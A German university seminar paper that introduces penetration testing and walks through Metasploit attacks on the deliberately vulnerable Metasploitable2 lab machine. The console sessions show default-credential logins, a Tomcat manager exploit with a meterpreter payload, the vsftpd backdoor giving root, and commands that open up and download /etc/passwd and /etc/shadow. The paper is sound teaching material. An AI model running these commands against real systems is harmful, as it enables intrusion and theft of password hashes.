technische universität
dortmund

Seminararbeit

Penetration Testing und Vulnerability Scanning - Metasploit(able)

Alexander Bainczyk
30. Januar 2014

Gutachter: Dr. Thomas P. Ruhroth
Dipl.-Inform. Dipl.-Math. Sebastian Pape

Prof. Dr. Jan Jürjens Lehrstuhl 14 Software Engineering
Fakultät Informatik
Technische Universität Dortmund
Otto-Hahn-Straße 14
44227 Dortmund
http://www-jj.cs.uni-dortmund.de/secse

Alexander Bainczyk
alexander.bainczyk@tu-dortmund.de
Matrikelnummer: 153772
Studiengang: Bachelor Informatik

Werkzeugunterstützung für sichere Software
Thema: Penetration Testing und Vulnerability Scanning - Metasploit(able)

Eingereicht: 30. Januar 2014

Betreuer: Sebastian Pape

Prof. Dr. Jan Jürjens Lehrstuhl 14 Software Engineering
Fakultät Informatik
Technische Universität Dortmund
Otto-Hahn-Straße 14
44227 Dortmund

Ehrenwörtliche Erklärung

Ich erkläre hiermit ehrenwörtlich, dass ich die vorliegende Arbeit selbstständig angefertigt habe; die aus fremden Quellen direkt oder indirekt übernommenen Gedanken sind als solche kenntlich gemacht.

Die Arbeit wurde bisher keiner anderen Prüfungsbehörde vorgelegt und auch noch nicht veröffentlicht.

Dortmund, den 30. Januar 2014

Alexander Bainczyk

Inhaltsverzeichnis

1 Einleitung

1.1 Motivation

Mit wachsender Komplexität aktueller Netzwerk- und Softwaresysteme steigt die Schwierigkeit, diese in Hinblick auf Sicherheit zu entwickeln, zu testen und zu pflegen. Gerade in Zeiten wie diesen, wo sich im Wochentakt die Meldungen zu Datendiebstählen und Sicherheitslücken überschlagen, rückt auch das Verlangen nach strengeren Sicherheitsanforderungen stärker in unser Bewusstsein. Fragestellungen wie „Wie kann ich mein System und meine Daten vor Angreifern schützen?“ spielen eine größere Rolle als je zuvor. Eine Antwort auf diese Frage möchte das Penetration Testing liefern. Dabei handelt es sich um eine Methode, um mit Verfahren, die auch Angreifer nutzen würden, in strukturierter Weise Schwachstellen in einem System aufzudecken.

1.2 Ziele und Nutzen

In dieser Arbeit soll zunächst die Idee des Penetration Testings vermittelt werden. Dann soll gezeigt werden, wie die Nutzung des Metasploit Frameworks dazu beiträgt, die Sicherheit eines Systems zu bewerten. Dazu soll zum einen die Vorgehensweise von Angreifern näher gebracht werden und zum anderen soll gezeigt werden, wie man dieses Wissen nutzt, um Netzwerke zu analysieren. Das Ziel besteht schließlich darin, in einem eingeschränkten Umfang das Metasploit Framework für die Durchführung eines Penetration Tests nutzen zu können.

1.3 Aufbau der Arbeit

In Kapitel 2 sollen zum Verständnis beitragende Begriffe, sowie die Grundlagen, die Gründe und Ziele des Penetration Testings erklärt werden. In Kapitel 3 wird sich mit der Anwendung des Metasploit Frameworks am Beispiel des virtuellen Betriebssystems „Metasploitable2“ beschäftigt. Dazu werden die vorgestellten Phasen eines Penetration Tests mit Metasploit durchlaufen. Im letzten Kapitel sollen die gewonnenen Erkenntnisse bezüglich der Nützlichkeit von Metasploit für das Penetration Testing zusammengefasst werden. Des Weiteren soll die Nützlichkeit des Verfahrens für die Entwicklung und Pflege vertrauenswürdiger, sicherheitskritischer Systeme bewertet werden.

2 Grundlagen

2.1 Begriffe

Schwachstelle
Die Internet Engineering Task Force definiert eine Schwachstelle als einen Fehler im Entwurf oder in der Implementierung eines Systems, der dazu führen kann, dass durch deren Ausnutzung die Sicherheitsbestimmungen des Systems verletzt werden [**IETF**].

Exploit
Ein Exploit stellt ein Verfahren dar, das eine bestehende Schwachstelle eines Systems, einer Anwendung oder eines Dienstes, ausnutzt, mit dem Ziel eine Verhaltensänderung eines Systems herbeizuführen, die vom Entwickler nicht geplant war [**KOK+11**].

Payload
Als Payload bezeichnet man Programmcode, der nach dem Exploitvorgang auf dem Zielsystem läuft und eine Verbindung zwischen diesem und dem Angreifer zur Kommunikation herstellt [**Sin12**].

2.2 Grundlagen des Penetration Testings

2.2.1 Einführung

Penetration Testing beschreibt ein mehrschrittiges Verfahren, bei dem die Methoden eines Angreifers zur Umgehung von Sicherheitsmaßnahmen simuliert werden [**KOK+11**]. Eines dieser Schritte stellt das Vulnerability Scanning dar, wobei gesammelte Informationen über ein System auf Schwachstellen überprüft werden [**PTES**]. Bei einem Test geht man noch einen Schritt weiter und nutzt gefundene Sicherheitslücken aus, um in ein System einzudringen. Ein Vulnerability Scan kann dementsprechend auch unabhängig von einem Penetration Test durchgeführt werden.
Ausgeführt wird ein solcher Test von Penetration Testern. Sie unterscheiden sich von Angreifern nur darin, dass sie angestellt werden, um Systeme auf Sicherheit zu testen. Die Vorgehensweise bleibt hingegen dieselbe [**WN05**].

Beim Penetration Testing stehen sich verschiedene Durchführungsmethoden gegenüber, die sich hinsichtlich des Wissensstands und der Rechte des Testers im System unterscheiden. Beim White-Box Test erhält der Tester vollständige Kenntnisse über das zu testende Netzwerk und dessen Systemumgebung, wodurch ein Worst-Case Szenario simuliert wird. Soll ein Gray-Box Test durchgeführt werden, erhält der Tester Zugriff zum Netzwerk mit den Rechten eines Standardbenutzers, um einen internen Angriff nachzustellen. Das andere Extrem stellt der Black-Box Test dar. Bei dieser Methode haben Tester keine weiteren Informationen über das Zielsystem, wodurch ein Angriff eines Außenstehenden nachgeahmt wird [**WN05**].

2.2.2 Motivation, Ziele und Gründe

Die Gründe für die Durchführung eines Penetration Tests gestalten sich vielfältig. Nach Whitaker und Newman (2005) dient die Durchführung zum einen zur Bestätigung bestehender Sicherheitsmechanismen eines Netzwerks, zum anderen zur Überprüfung der Annahme, dass ein Netzwerk nicht ausreichend vor Bedrohungen geschützt ist. Das Ziel eines Penetration Tests ist die Aufdeckung von möglichen Angriffspunkten, die auch Angreifer ausnutzen könnten, um einem System zu schaden [**KOK+11**].

2.2.3 Die Phasen eines Penetration Tests

Gemäß des Penetration Testing Execution Standards [**PTES**] gliedert sich der Vorgang in sieben aufeinander aufbauende Phasen, an denen sich auch die Autoren des Buchs *„Metasploit - The Penetration Tester's Guide“* (2011) orientieren.

1. Pre-engagement Interactions: Zunächst werden die Rahmenbedingungen des Tests mit dem Auftraggeber festgelegt. Dabei wird das zu prüfende Zielsystem, die Aggressivität des Angriffs, Zeit und Ort sowie die Methode des Tests und die Ziele und Grenzen bestimmt. So wird beispielsweise entschieden, ob das Ziel des Tests die komplette Übernahme eines Netzwerks ist, oder ob das Eindringen in einen Rechner und die Entwendung vertraulicher Daten bereits als erfolgreich gewertet werden soll.

2. Intelligence Gathering: In der zweiten Phase steht die Gewinnung von möglichst vielen Informationen über das Ziel im Vordergrund. Alle gewonnenen Informationen bieten mögliche Einstiegspunkte und stellen Parameter für einen Angriff dar, weshalb eine gründliche Vorgehensweise in dieser Phase zielführend ist. Einem Penetration Tester steht dazu ein breites Spektrum an Methoden zur Auswahl, die sich in aktive, d.h. mit physischem Zugriff, und passive unterteilen lassen.

3. Threat Modeling: Die zuvor ermittelten Informationen werden hier auf ihr Gefahrenpotenzial für das System hin analysiert. Daraus werden eventuell bereits bestehende Schwachstellen abgeleitet und darauf basierend effektive Angriffsmethoden gewählt, wie sie auch ein Angreifer nutzen könnte.

4. Vulnerability Analysis: In dieser Phase werden die bisher gesammelten Ergebnisse wiederholt überprüft. Dieses Mal jedoch unter dem Aspekt, welche Schwachstellen sich dabei als besonders aussichtsreich für einen Einstieg ins System erweisen und wie diese, zum Beispiel durch einen Exploit, ausgenutzt werden können. Abhilfe schaffen Tools, die diesen Vorgang durch Vulnerability-Scans automatisieren.

5. Exploitation: Nachdem alle Vorbereitungen getroffen wurden, geht es darum, unter aktiver Ausnutzung der Schwachstellen die Sicherheitsrichtlinien des Ziels zu umgehen und Zugriff zum System zu erhalten. Messner (2012) wirft das Argument auf, ein Exploit sollte nur angewendet werden, wenn sichergestellt wurde, dass er zum gewünschten Ergebnis führt, da ungewollte Folgen sich mit den Zielen der Vorbereitungsphase widersprechen können. So ist sicherzustellen, dass die Zuverlässigkeit der Systeme gewährleistet bleibt, dass der betriebliche Ablauf nicht behindert wird und dass das Unternehmen in wirtschaftlicher Hinsicht keinen Schaden nimmt.
6. Post-Exploitation: Besteht eine Verbindung zum Zielsystem, hängt die weitere Vorgehensweise von den getroffenen Vereinbarungen ab. Eine Aufgabe ist zum Beispiel die Erforschung und Einnahme weiterer Teile eines Netzes (Pivoting). Die Entwendung sensibler Daten, die weitere Beschaffung von Informationen oder die Ausweitung bestehender Rechte (Privilege Escalation) sind weitere mögliche Anforderungen.
7. Reporting: Den Abschluss eines Penetration Tests bildet dieser Schritt, bei dem die in den vorausgehenden Phasen erreichten Ergebnisse notiert werden. Dabei werden die technischen Aspekte des Tests, die zu den in Phase 1 vereinbarten Zielen führen, festgehalten. Darüber hinaus wird eine Einstufung der Sicherheit und eine Empfehlung zur Beseitigung der Sicherheitslücken gegeben.

3 Penetration Testing mit dem Metasploit Framework

Da sich die in Abschnitt 2.2.3 vorgestellten Phasen hier nicht eins zu eins reproduzieren lassen, soll Phase 1 lediglich auf die Wahl der Black-Box Methode zum Testen beschränkt werden. Das Threat Modeling und die Vulnerability Analysis fallen in Kapitel 3.3 zusammen. Weiterhin entfällt eine explizite Erwähnung des Reportings, da die technischen Aspekte im Verlauf der Arbeit protokolliert werden.
Die in diesem Abschnitt erlernten Methoden zum Umgang mit Metasploit entstammen sowohl der Dokumentation der Software, als auch den Büchern von Singh (2012) und Messner (2012).

3.1 Einführung

Metasploit ist ein seit 2003 in Entwicklung befindliches Framework zum Penetration Testing und liegt aktuell in Version 4.7.2-1 vor. Sein modularer Aufbau ermöglicht die Erweiterung und die Anpassung des Frameworks an eigene Bedürfnisse und vereinfacht so die Zusammenarbeit mit weiteren Programmen. Seit der Einführung stehen 1211 Exploits, 733 Hilfsmodule zum Scannen von Schwachstellen und Sammeln von Informationen, 202 Post-Exploitation-Module und 317 Payloads zur Verfügung (Stand: 01. Dezember 2013). Für diese Arbeit wurde Metasploit unter Linux im Verzeichnis *„/opt/metasploit“* installiert.
Im Folgenden steht unter der IP 192.168.56.101 die virtuelle Maschine „Metasploitable2“ bereit, welche sich durch eine Vielzahl intendierter Schwachstellen besonders für den Einstieg ins Penetration Testing eignet.

Shell 3.1: Aufruf der Metasploit Konsole

```
1 mint-vm alex # /opt/metasploit/app/msfconsole
2 msf > _
```

3.2 Intelligence Gathering

Eine aktive Methode zur Sammlung von Informationen stellt das Scannen von Ports dar. Dieser Vorgang erweist sich als besonders zielführend, weil Ports Informationen über laufende Dienste, das verwendete Betriebssystem und installierte Software des Zielsystems preisgeben können. Dadurch offenbaren sich erste Anhaltspunkte, die die Grundlage für den weiteren Verlauf eines Penetration Tests legen.

Shell 3.2: Port-Scan

```
1 msf > use auxiliary/scanner/portscan/tcp
2 msf auxiliary(tcp) > set RHOST 192.168.56.101
3 msf auxiliary(tcp) > run
4 [*] 192.168.56.101:21 - TCP OPEN
5 [*] ...
```

Metasploit unterstützt dieses Vorhaben mit Hilfe von Auxiliary-Modulen, deren Verwendung und Konfiguration in Shell 3.2 demonstriert wird. Zunächst wird in Zeile 1 das entsprechende Modul geladen. In Zeile 2 wird die IP-Adresse des Ziels als Parameter festgelegt und anschließend ausgeführt. Eine Auflistung aller Auxiliary-Module ist mit dem Befehl *„show auxiliary“* abrufbar. Die konfigurierbaren Parameter können nach dem Laden eines Moduls mit *„show options“* angezeigt werden. Um detaillierte Informationen über ein beliebiges Modul zu erhalten, genügt die Eingabe von *„info path/to/module“* in die Konsole.
Bei dem hier gewählten Beispiel wird ein TCP-Port-Scan durchgeführt. Dabei werden TCP-Pakete an eine Reihe vordefinierter Ports geschickt, auf denen Dienste lauschen. Wird der three-way-handshake erfolgreich abgeschlossen, gilt der entsprechende Port als offen und der Dienst dahinter als erreichbar.

Shell 3.3: Scan des HTTP-Ports

```
1 msf > use auxiliary/scanner/http/http_version
2 msf auxiliary(http_version) > set RHOST 192.168.56.101
3 msf auxiliary(http_version) > run
4 [*] 192.168.56.101:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by
      PHP/5.2.4-2ubuntu5.10 )
```

Hat man herausgefunden, welche Ports geöffnet sind, können diese gezielter untersucht werden. So zeigt beispielsweise der Scan des HTTP-Service auf Port 80 (Shell 3.3) einerseits die verwendete Version des Apache-Servers und die laufende PHP-Version und andererseits, dass es sich bei Metasploitable2 um ein Ubuntu-Linux handelt.

Shell 3.4: Beispiel: Diverse Scans mit Nmap

```
1 msf > nmap -sT -sV -p1-10000 192.168.56.101
2 msf > nmap -O 192.168.56.101
3 msf > nmap -A 192.168.56.101
```

Um den Vorgang des Scannens effektiver zu gestalten, wird die Benutzung des in Metasploit integrierten Tools „Nmap“ empfohlen, ein Programm, dessen Kernfunktionalität im automatisierten Port-Scan liegt. Dabei geht die Funktionalität von Nmap weit über die Prüfung der Erreichbarkeit von Ports hinaus. Neben besagter Funktion bietet das Tool Möglichkeiten zur Bestimmung des Betriebssystems und Anzeige von Versionen der Dienste und installierter Software.
Die Shell 3.4 veranschaulicht die Benutzung von Nmap. In Zeile 1 wird durch den Parameter *„-sT“* festgelegt, dass beim Port-Scan TCP-Paketen verschickt werden, wodurch sich ein erster Eindruck vom System machen lässt. Neben TCP-Scans versteht sich Nmap auch auf Scans mit UDP-, ACK- und SYN-Paketen, die einan-

der ergänzende Ergebnisse erzielen können. Durch die Angabe des Arguments *„-sV“* wird in den Ergebnissen die Version des jeweiligen Dienstes ausgegeben, *„-p1-10000“* legt die Reichweite der zu scannenden Ports fest. Mit dem Befehl in Zeile 2 wird versucht, das laufende Betriebssystem zu bestimmen. Dieser Vorgang basiert jedoch auf Heuristiken und kann daher Fehlinformationen hervorbringen[1] oder, wie im Fall von Metasploitable2, keine genaue Aussage treffen. Für einen schnellen, jedoch umfangreichen und gleichzeitig präzisen Scan eines Systems bieten sich Befehlskürzel, wie in Zeile 3 zu sehen, an. Diese fassen vordefinierte Parameter zusammen und geben umfassende Informationen preis. In diesem Fall führt letzterer Befehl durch die Analyse des SMTP-Ports zur Bestimmung der Betriebssystemversion: Ubuntu 8.04.

Mit den hier gesammelten Informationen lässt sich ein erstes Bild von Metasploitable2 machen. Als Betriebssystem kommt ein veraltetes Linux zum Einsatz. Wie die Ausgabe von Shell 3.4 darüber hinaus verrät, ist die Software der Datenbanken und Serversysteme ebenfalls überholt. Diese Punkte stellen bereits aufgrund ihrer Aktualität mögliches Gefahrenrisiko für die Sicherheit dar.

Zusammenfassend lässt sich sagen, dass die Informationssammlung gründlich durchgeführt werden sollte, da so mögliche Schwachstellen und Einstiegspunkte für einen Angriff ausgemacht werden können. Besonders die Erkennung des Betriebssystems und Softwareversionen erleichtern den weiterführenden Penetration Test, indem die Wahl weiterer Werkzeuge gezielter erfolgen kann.

3.3 Vulnerability Analysis

Schwachstellen können in vielerlei Hinsicht in einem System auftreten. Beispielsweise können bestimmte Fehlkonfigurationen in Software, wie das Beibehalten von Standardnutzernamen und -passwörtern dazu führen, dass ein System angreifbar wird. Durch eine Dictionay Attack lässt sich eine solche Sicherheitslücke überprüfen, indem wird eine Reihe von vordefinierten Kombinationen aus Passwörtern und Nutzernamen für die Authentifizierung an einer Anwendung getestet wird. In Metasploit erkennt man solche Module an dem Suffix *„_auth“* oder *„_login“*.

Shell 3.5: FTP Vulnerability Scan auf Port 21

```
1 msf > use auxiliary/scanner/ftp/ftp_login
2 msf auxiliary(ftp_login) > set RHOSTS 192.168.56.101
3 msf auxiliary(ftp_login) > run
4 [+] 192.168.56.101:21 - Successful FTP login for 'msfadmin':'
     msfadmin'
5 [*] 192.168.56.101:21 - User 'msfadmin' has READ/WRITE access
```

Shell 3.5 zeigt eine solche Art von Fehlkonfiguration anhand des FTP-Services auf Port 21. Mit einem beliebigen FTP-Client ließe sich mit den Rechten des Nutzers „msfadmin“ auf die Verzeichnisstruktur von Metasploitable2 zugreifen, um sensible Daten zu entwenden oder schädliche Programme hochzuladen. Je nach dem, welche Rechte ein gefundener Account hat, kann eine solche Schwachstelle auch weniger kri-

[1] vgl. `http://nmap.org/book/osdetect.html`, Aufrufdatum: 07. Dezember 2013

tisch für die Sicherheit sein, allerdings hätte ein Angreifer trotzdem unautorisierten Zugriff auf das System, der sich möglicherweise ausbauen ließe.

Shell 3.6: Tomcat Manager Vulnerability Scan

```
1 msf > use auxiliary/scanner/http/tomcat_mgr_login
2 msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.56.101
3 msf auxiliary(tomcat_mgr_login) > set RPORT 8180
4 msf auxiliary(tomcat_mgr_login) > run
5 [+] http://192.168.56.101:8180/manager/html [Apache-Coyote/1.1]
      [Tomcat Application Manager] successful login 'tomcat' : '
     tomcat'
```

Betrachtet werden soll nun der hinter Port 8180 laufende Tomcat Server[2]. Das Scanner-Modul in Shell 3.6 führt eine Dictionary Attack aus, um sich in die Management-Oberfläche des Servers einzuloggen. Von dort besteht die Möglichkeit, WAR-Archive hochzuladen und mit den Rechten des Tomcat Servers auszuführen. Diese Schwachstelle entsteht während der Installation, bei der das Standard-Konto des Administrators in einer XML-Datei nicht korrekt deaktiviert wird. Als Folge dessen bleibt ein Account in einer Manager-Rolle mit einem Standard-Passwort bestehen[3]. Die Suche nach einer entsprechenden Kombination erweist sich, wie in Zeile 7 zu erkennen, als erfolgreich und legt den Angriffsvektor, bestehend aus IP, Port, Pfad, Nutzer und Passwort, offen.
Wie beim Intelligence Gathering bietet es sich an, den Vorgang zu automatisieren, um möglichst viele Sicherheitslücken zu erfassen. Dabei erweist sich das Programm „Nessus“ als hilfreich. Nach eigenen Angaben hat der Vulnerability Scanner zur Zeit Zugriff auf eine Datenbank mit über 59000 bekannten Schwachstellen, die zum Abgleich mit gesammelten Informationen herangezogen wird. Durch die Ordnung von Schwachstellen nach Gefahrenpotenzial auf einer Skala von „low“ bis „critical“ wird das Threat-Modeling durchgeführt. Zu vielen Sicherheitslücken offeriert Nessus ein passendes Metasploit-Modul, gibt in den meisten Fällen eine Lösung zum Schließen der Schwachstelle an und bereitet die Parameter für den Angriff übersichtlich auf. Durch den Im- und Export von Datensätzen und die konsolenseitige Bedienung über *„load nessus“* wird eine Interaktion mit Metasploit ermöglicht.
Ein Scan an Metasploitable2 mit Nessus bringt insgesamt 103 Schwachstellen hervor, von denen sieben als kritisch gewertet werden. Darunter die bereits beschriebene Schwachstelle im Tomcat-Server. Eine weitere als kritisch eingestufte Sicherheitslücke befindet sich im bereits untersuchten FTP-Server und nennt sich „vsftpd Smiley Face Backdoor“. Durch die Wahl eines Benutzernamens, der die Zeichenkette „:)“ enthält, wird, ausgelöst von fehlerhaftem Programmcode, eine Backdoor im Programm aktiviert, die eine Shell auf Port 6200 hervorbringt. Durch einen passenden Exploit ließe sich so Programmcode mit Root-Rechten ausführen. Die beiden genannten Schwachstellen sollen für die folgenden Schritte als Angriffspunkte verwendet werden.

[2]Webserver von Apache, um in Java geschriebene Webanwendungen auszuführen

[3]vlg. `http://www.zerodayinitiative.com/advisories/ZDI-10-214/`, Aufrufdatum: 16. Dezember 2013

3.4 Exploiting Metasploitable2

Nachdem die Einstiegspunkte während der Vulnerability Analysis bestimmt wurden, gilt es, diese mit Hilfe von Exploits auszunutzen, um Zugang zu Metasploitable2 zu bekommen. Metasploit bietet hierfür eine große Auswahl von Exploits, so dass praktisch für alle gängigen Betriebssysteme und platformunabhängige Software Module zur Verfügung stehen. Zunächst wird das Exploit-Verfahren am Beispiel der Schwachstelle des Tomcat Servers veranschaulicht.

Shell 3.7: Exploit einer Schwachstelle

```
1  msf > use exploit/multi/http_mgr_deploy
2  msf exploit(tomcat_mgr_deploy) > set RHOSTS 192.168.56.101
3  msf exploit(tomcat_mgr_deploy) > set RPORT 8180
4  msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
5  msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
6  msf exploit(tomcat_mgr_deploy) > set URL /manager/html
7  msf exploit(tomcat_mgr_deploy) > set TARGET 1
8  msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/
       bind_tcp
9  msf exploit(tomcat_mgr_deploy) > exploit
10 meterpreter >
```

In Zeile 2-6 von Shell 3.7 werden die Parameter des Angriffsvektors festgelegt. Ein Überblick über die Systeme, für die ein Exploit funktioniert, ist mit dem Befehl *„show targets“* einzusehen. Hier wird in Zeile 7 die JAVA-VM festgelegt. Im Anschluss kann mit der Eingabe von *„show payloads“* eine Liste anwendbarer Payloads ausgegeben werden, die nach dem Exploitvorgang auf Metasploitable2 ausgeführt werden soll. Die am häufigsten aufgelisteten Payloads sind der Meterpreter-Payload und der Shell-Payload, der nach dem Exploit eine Shell zur Interaktion zurückgibt. Meterpreter hingegen bietet einen größeren Funktionsumfang, auf den im nächsten Kapitel Bezug genommen wird.

Durch die Wahl von *„bind_tcp“* beziehungsweise *„reverse_tcp“* wird das Initiierungsverhalten für die TCP-Kommunikation zwischen den Rechnern festgelegt. Befindet sich der Payload beim Ziel, wartet ersterer auf die Verbindungsaufnahme an einem Port, wohingegen letzterer die Kommunikation zum Angreifer über einen vordefinierten Port startet[4].

Durch die Anweisung in Zeile 9 wird der Exploit ausgeführt, der, wie der Dokumentation zu entnehmen, mit einem PUT-Request ein WAR-Archiv mit einer JSP-Anwendung unter der festgelegten URL hochlädt, um sie mit Rechten des Tomcat-Servers auszuführen. Dadurch wird der Payload geladen und nach dem Verbindungsaufbau wird Zugriff auf die Meterpreter-Konsole gewährt.

Die gesamte Exploiting-Phase gestaltet sich mit dem Metasploit Framework ziemlich direkt. Solange Metasploit ein passendes Modul anbietet, wird es geladen, konfiguriert und ausgeführt.

[4] vgl. `http://dev.metasploit.com/documents/meterpreter.pdf`, S. 27

3.5 Die Post-Exploitation Phase

Die Anwendungsgebiete während der Post-Exploitation-Phase gestalten sich umfangreich. Dies zeigt sich bereits beim Betrachten des Payloads „Meterpreter“ und seinem Funktionsumfang. Dieser umfasst mit der Stdapi eine Reihe von Befehlen zur Interaktion mit dem Zielsystem. Die Funktionen reichen von der Bewegung in der Verzeichnisstruktur, über Dateiup und -downloads und dessen Ausführung, bis hin zum Aufruf einer Shell. Eine vollständige Übersicht der Stdapi zur jeweiligen Version von Meterpreter ist über die Eingabe *„help“* einsehbar.

Meterpreter kann mit dem *„load“*-Befehl Post-Exploitation-Module einbinden und so diverse Informationen über das Ziel sammeln. Die Anwendung des Post-Information-Gathering-Moduls unter *„post/linux/gather/enum_network“* speichert beispielsweise Informationen über die Netzwerkkonfiguration von Metasploitable2, die dazu genutzt werden könnten, weitere Netzwerksegmente zu erschließen und neue Angriffsziele für den Pivoting-Vorgang ausmachen.

Shell 3.8: Download sensibler Dateien

```
1  msf > use exploit/unix/ftp/vsftpd_234_backdoor
2  msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.56.101
3  msf exploit(vsftpd_234_backdoor) > exploit
4  whoami
5  root
6  chmod 777 /etc/passwd
7  chmod 777 /etc/shadow
8  ...
9  meterpreter > cd /etc
10 meterpreter > download shadow
11 meterpreter > download passwd
```

Ein weiteres Anwendungsgebiet während der Post-Exploitation-Phase ist die Privilege Escalation. Was unter Windows häufig mit dem Befehl *„getprivs“* über die Meterpreter-Konsole zu einer Erweiterung der Rechte zum lokalen Administrator führt, gestaltet sich unter Linux Systemen schwieriger und übersteigt den Umfang dieser Arbeit. Entsprechende Module sind unter *„post/<system>/escalate“* zu finden. Wie Shell 3.8 zeigt, ist dies auch nicht notwendig, da die Anwendung eines weiteren Exploits eine Shell mit Root-Rechten hervorbringt. In Zeile 6 und 7 wird Vollzugriff auf die Dateien mit existierenden Nutzerdaten und Passworthashes gelegt, die in Zeile 10-11 gespeichert werden. Durch die gewonnenen Daten ließen sich weitere Angriffe, wie „pass the hash“ planen. Durch die Kombination beider Vorgehensweisen ergeben sich Möglichkeiten von der Erstellung neuer Nutzer bis hin zum Upload und Ausführung schädlicher Programme, wodurch sich ein späterer Einstieg ins System sicherstellen ließe.

Hat der Tester die in der ersten Phase festgelegten Ziele erreicht, kann die laufende Meterpreter-Session über die *„quit“*-Anweisung beendet werden, wodurch sich der Payload selbstständig von dem System löscht und Spuren für ein Eindringen beseitigt.

Es ist festzuhalten, dass, sobald ein System kompromittiert wurde, die Gestaltung der Phase nur von den besprochenen Grenzen des Penetration Tests abhängt. Die Anwendung von Meterpreter, der Post-Exploitation Modulen und die Möglichkeit, eigene Skripte zu entwickeln, erweisen sich bei der Verfolgung der Ziele als besonders hilfreich.

4 Fazit und Ausblick

4.1 Zusammenfassung

In dieser Seminararbeit wurden die verschiedenen Phasen, Ziele und Gründe eines Penetration Tests vorgestellt und mit dem Metasploit Framework am System „Metasploitable2“ durchlaufen. Der Umfang und die Aktualität der Software, sowie dessen Modularität unterstützen den Penetration Tester. Die Unterstützung vieler Zielsysteme und die in der Pro-Version integrierte Funktion fürs Reporting erweisen sich als besonders hilfreich. Tools wie Nmap und Nessus arbeiten mit dem Framework zusammen und ergänzen es durch Automatisierungsverfahren.

4.2 Kritische Würdigung

Penetration Testing hat das Potenzial, ein breites Spektrum von Schwachstellen auszumachen. Dennoch garantiert es nicht notwendig die Sicherheit eines Systems. Die Ergebnisse hängen unter anderem von den genutzten Programmen, der Erfahrung und der Expertise des Penetration Testers ab. Daher ist es zumindest in der Theorie empfehlenswert, solche Tests in regelmäßigen Abständen von verschiedenen Personen oder Teams durchführen zu lassen, sodass die Anzahl erkannter und neuer Schwachstellen minimiert wird. In der Praxis jedoch ist die Ausführung eines Penetration Tests, je nach Größe der zu testenden Umgebung, mit zeitlichem Aufwand und damit mit hohen Kosten verbunden. Hinzu kommt, dass das Testen von Produktivsystemen, gerade beim Black-Box Test, die Gefahr birgt, durch das Zusammenspiel mit und in Abhängigkeit von anderen Systemen ungewolltes Fehlverhalten hervorzurufen.
Systeme präventiv zu testen macht durchaus Sinn, allerdings kann auch hier nicht vorhergesagt werden, ob durch die Inbetriebnahme nicht weitere Schwachstellen auftreten. Die Durchführung eines solchen Tests ist dennoch empfehlenswert, wenn, wie beim White-Box Test, genügend Vorkenntnisse über das System vorhanden sind und er vorsichtig und gezielt durchgeführt wird.

Literatur

[WN05] Whitaker, Andrew ; Newman, Daniel: *Penetration Testing and Network Defense*. 1. Aufl. Indianapolis : Cisco Press, 2005 , Kap. 1

[KOK+11] Kennedy, David ; O'Gorman, Jim ; Kearns, Devon ; Aharoni, Mati: *Metasploit - The Penetration Tester's Guide*. 1. Aufl. San Fransisco : No Starch Press, 2011, S. XXII, 1–4, 8

[Sin12] Singh, Abhinav: *Metasploit Penetration Testing Cookbook*. 1. Aufl. Burmingham : Packt Publishing Ltd., 2012, S. 8, Kap. 2–5

[Mes12] Messner, Michael: *Metasploit*. 1. Aufl. Heidelberg : Dpunkt.Verlag GmbH, 2012, S. 18, Kap. 2–5

[IETF] Internet Engineering Task Force – URL: `http://tools.ietf.org/html/rfc2828#page-193`, Aufrufdatum: 07. Dezember 2013, 15.42 Uhr, S. 193

[PTES] Penetration Testing Execution Standard (PTES) – URL `http://www.pentest-standard.org/index.php/Main_Page`, Aufrufdatum: 07. Dezember 2013, 18.23 Uhr